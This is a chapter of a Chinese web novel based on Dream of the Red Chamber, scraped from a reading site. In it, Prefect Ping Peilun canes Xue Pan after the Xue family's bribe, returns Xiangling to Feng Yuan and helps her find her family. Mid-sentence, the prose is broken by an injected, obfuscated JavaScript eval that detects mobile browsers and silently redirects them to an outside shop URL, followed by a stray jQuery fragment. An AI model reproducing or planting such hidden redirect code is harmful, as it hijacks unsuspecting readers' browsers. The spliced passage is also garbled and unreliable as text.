默认冷灰
24号文字
方正启体

7. 断案

作者:叶鹂声本书字数:K更新时间:
    说起平佩纶,薛宝钗并不十分熟悉,只依稀知道这是应天府知府的名字。


    但若说冷新,她可以说是十分清楚了。


    这位冷老大人原本只是维扬村庄农户,因为持家有道,积攒下偌大的家业,却并无男嗣,只有一个女儿①。


    冷氏才高貌美,与才女山氏相识,名为朋友,实则以姐妹相待,她被上皇御旨封为女学士,赐婚探花平如衡,冷老大人也托女儿的福,被上皇授予中书冠带,封为紫薇舍人。


    冷新村户出身,本为贫贱,但他的女儿嫁了探花,妻荣夫贵,冷新这个岳丈自然也跟着鸡犬升天。


    不过,提到冷新的发迹,还得从十数年前说起。


    十数年前,内务府采买弊案频发,上皇震怒,立意改革采买弊端,便裁撤内务府买办一职,改为设立皇商,采买代卖,一体承担,岁末结余,按盈利多寡评为上中下三等。


    上等二人,由上皇亲自下旨褒奖;中等人数不定,无功无过,准其来年继续领内务府差事;下等一人,为本年盈利最少者。


    某人若连续三年被评为末等,则追究其办事不力之罪,黜落皇商名衔,另择优者补入。


    上皇设立皇商之初,薛宝钗还未出生。


    但当她记事之时,这个制度已经平稳运行起来了。


    薛宝钗记得,在自己年纪还小的时候,每年被评为一等的皇商都是固定的,一是薛家主,二便是冷老大人。


    薛冷两家势力雄劲,远非其他皇商可比,薛家本钱丰厚,又有金陵世族照应,但冷新亦颇有经商手腕,再加上女婿当时如日中天,竟也丝毫不落下风。


    两家一直势均力敌,直到五年前,平衡局面终究还是被打破了。


    那一年,薛家主去世,接任他的人是薛蟠。


    虽然薛宝钗是薛蟠的妹妹,但也不能不承认,自家兄长是个十足的纨绔,对经商之道一窍不通,经手的头一年,便让薛家生意的利润少了整整一成。


    一成听起来不多,但考虑到薛家家业之大、利润之厚,损失便颇为可观了。


    这里面固然有薛蟠经营不善的原因,但底下人见薛蟠头脑简单,动了歪心思也是有的。


    薛宝钗眼见着有些心术不正之人尝到了甜头,其他人似乎也蠢蠢欲动,连忙让母亲联络上了姨妈王夫人,借荣国府的势力,总算遏止住了这股子邪风。


    但薛家生意的利润还是每年都在下跌,毕竟就算底下人认真负责,有薛蟠这样一个东家,生意也很难做得大。


    薛宝钗也只能眼看着薛家在薛蟠手里每况愈下,短短五年的时间里,就从能与冷新一较高下的上等,变成了年末考评居于中流的中等。


    若不是薛家主在时打下的底子好,按薛蟠这般胡作非为,只怕早已跌落入末等的行列之中,随时有被黜落的风险。


    冷家的情况,却几乎可以说是薛家的反面。


    失去了薛家这个有力竞争者之后,冷新一枝独秀,成了板上钉钉的一等皇商,不仅年年得到朝廷的褒奖,更是积攒了数不胜数的财富。


    平心而论,冷家现在的财产,怕是不会比薛家少。


    而她居然拿着银子,去贿赂冷新的外孙!


    薛宝钗深吸一口气,目光微颤。


    这金陵城不能久留。


    若是行贿平佩纶的消息传出去,不仅薛家会成为笑话,她的名声也没办法要了。


    好在她刚才为了安抚母亲,已经预先劝过母亲进京了,明日再劝说,也不显得突兀。


    夜深人静,薛宝钗默默放下书,看着窗外的一轮圆月。


    接下来的这段时间,薛家最好不要再招惹这位平大人,他说什么就是什么。


    想到平佩纶让下人带的话,薛宝钗犹豫了片刻,还是下定了决心。


    香菱虽美,毕竟不过是一个下人,天底下又不是没有比她更好的。


    薛蟠爱她,却是玩物之爱,不管爱得多深,只要有了更好的,都会喜新厌旧,移情别恋。


    无论如何,先把这件官司遮掩过去,只要能了事,就算是舍弃香菱,也没什么大不了。


    自己大可以打着为兄长好的旗号,将香菱送还那两个原告,有母亲给自己做主,就算哥哥不满,也不会与自己计较太多。


    //


    第二日,公堂。


    原告被告俱已到齐,喊过堂威,平佩纶掷了签子,向衙役指了指薛蟠:


    “二十板,打!”


    自从昨天被打了十板子之后,薛蟠便意识到平佩纶是真敢揍他,薛家的面子也保不住他的屁股,整个人顿时泄了气,不敢再跟平佩纶大喊大叫。


    但今日刚升堂,平佩纶还未问话,便先要打他,薛蟠到底心有不服:


    “大人,昨日已经打过我了,怎么今日还要打?”


    平佩纶微微一笑:


    “昨儿揍你,是因为你目无法纪;今天揍你,却与你无关。”


    薛蟠骂人的心都有了:“大人,不关我的事,又为何要打我?”


    平佩纶理直气壮:“是你母亲和妹妹干的好事,要怪就怪她们糊涂吧!”


    薛蟠听得云里雾里,第一反应便是薛王氏和薛宝钗捅了什么篓子,要他来背锅,连忙开口:“大人,咱们一人做事一人当,我母亲和妹妹做得不好了,您大可以告诉她们哪里有错,教导她们改正,为何要折磨我呢?”


    平佩纶也不多说,只是似笑非笑地看着薛蟠。


    “你妹妹和母亲倒是一片关怀之心,只可惜用错了方向,大晚上给本官送银子来了!”


    薛蟠瞪圆了眼睛,有些不理解这位知府大人为何这般说话。


    难道是嫌银子少了?


    薛蟠因为怕受皮肉之苦,连忙奉承道:“大人别跟她们一般见识,她们都是头发长见识短,不知道该如何孝敬您,并非是存心瞧您不起。”


    “您若觉得少,只管知会一声,您想要多少,我一定如数奉上……”


    平佩纶被薛家人的脑子气笑了。


    难道这个世界上不能存在公理正义,每个人必须要套上名缰利锁,才配在这个世上存活?


    他懒得搭理薛蟠,一拍惊堂木:“打,着实打!”


    衙役们不由分说,将薛蟠按在长凳上,一阵噼噼啪啪过后,薛蟠痛哭流涕,眼泪鼻涕糊了一凳子,哭爹喊娘。


    张贵送香菱来的时候,见到的就是这副景象,顿时又惊又怒。


    怒的是自家大爷从小到大娇生惯养,如今竟被这不通人性的瘟官这般折磨;惊的是这位知府老爷居然当真这般无法无天,连薛家都不放在眼里。


    在应天府做官,居然打薛家的大少爷,他乌纱帽不想要了?


    但人在屋檐下,不得不低头,张贵心知他要是敢顶撞几句,恐怕也要被按在堂上打板子。


    这个瘟官连薛大爷都敢打,他一个下人又算得了什么?


    张贵连忙将香菱向外一推,跪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074985|195248||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在公堂上。


    “启禀大人,那争买之女已带到,请大人过目。”


    平佩纶打量香菱一番,也不由得暗暗点头,此女姿容绝非寻常,难怪引得三家争执不休。


    他又一拍惊堂木。


    “三家争买一女,本该好言商量,薛蟠不分青红皂白,仗势强抢,实在可恶;其母暗中行贿,亦属违法,今姑念其年老昏聩,爱子心切,故不予追究。”


    “此女既需强抢得来,定是薛蟠理屈而不能必得,方才出此下策。”


    “本官今日做主,将此女返还二原告,尔等自行领回,商议处置,薛蟠准从拐子处领回赎资。”


    “此案具结,退堂!”


    薛蟠前后两天加起来,足足被打了三十板子,裤子已经隐隐渗出血痕来,事到如今他已经没空想香菱的事了,只顾唉声叹气,可怜自己的屁股,张贵也顾不得别的,赶紧扶着自家大爷回家去也。


    香菱和冯渊一经重逢,种种欣喜自不必说,平佩纶拈须看着二人微笑,忽然想起一事,又道:


    “正所谓帮人帮到底,送佛送到西,本官看此女姿容仪态,绝非寻常乡野村户之女,既已脱离拐子,如能寻回亲人,更是好事一桩。”


    “今日堂上可有人知晓此女身世来历?若有出首者,本官做主赏银百两。”


    平佩纶也不知道燕衔枝为何让他这样说,但这也不是难事,随口一提罢了。


    谁知他话音刚落,身旁便有一门子站出,扬声道:“启禀老爷,小人知道此女的来历。”


    平佩纶:……


    堂上还真有人知道啊?


    //


    等燕衔枝再次收到回信,一切事情都已经了结。


    香菱已经在门子和平佩纶的帮助下寻到了自己家,虽然甄士隐已经飘然而去,好在母亲与外祖都还在,封夫人自是喜不自胜,封肃往日虽多嫌着这个女儿,如今见外孙女和外孙女婿一齐回转家门,更兼外孙女婿相貌清俊,家底殷厚,倒也回嗔作喜,殷勤招待起来。


    香菱叩见过了母亲、外祖,换回了本名甄英莲,因是良家女被拐,便报知官府复了良籍,堂堂正正嫁与冯渊为妻。


    期间,刘镖头也一直跟着忙前忙后,甄英莲和冯渊感激刘镖头恩义,又听刘镖头自叙与刘婆子无子,夫妻俩合计之后,便想要认刘镖头为义父,为他和刘婆子养老送终。


    这自然是件好事,燕衔枝也乐见其成,不仅同意此事,还送了五百两银子的新婚贺仪,另给了刘镖头五百两银子的辛苦费,让他和刘婆子安心养老。


    不过,刘镖头在信的末尾提到的一件事,却让燕衔枝十分在意。


    官司了结的第二日,薛家便动身进京了?


    怎么听着这么仓促呢?


    若说冯渊被打死,薛蟠躲官司着急入京,倒还情有可原,可现在薛蟠身上没有官司,却挨了三十板子,他不在家里好好养伤,拖家带口千里迢迢入京作甚?


    燕衔枝想了两天,还没想明白的时候,平佩纶的信也到了。


    看完平佩纶的信,燕衔枝几乎笑出声来。


    这倒也是薛家的行事风格,一切问题用银子摆平,如果摆不平,那就是银子掏的不够多。


    薛家行事虽然荒唐,但事情既然已经了结,燕衔枝也不想节外生枝。


    此次入京,若是薛家愿意和燕、林两家相安无事,自是最好。


    若不愿意,她可就要好好替薛家宣传一番了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)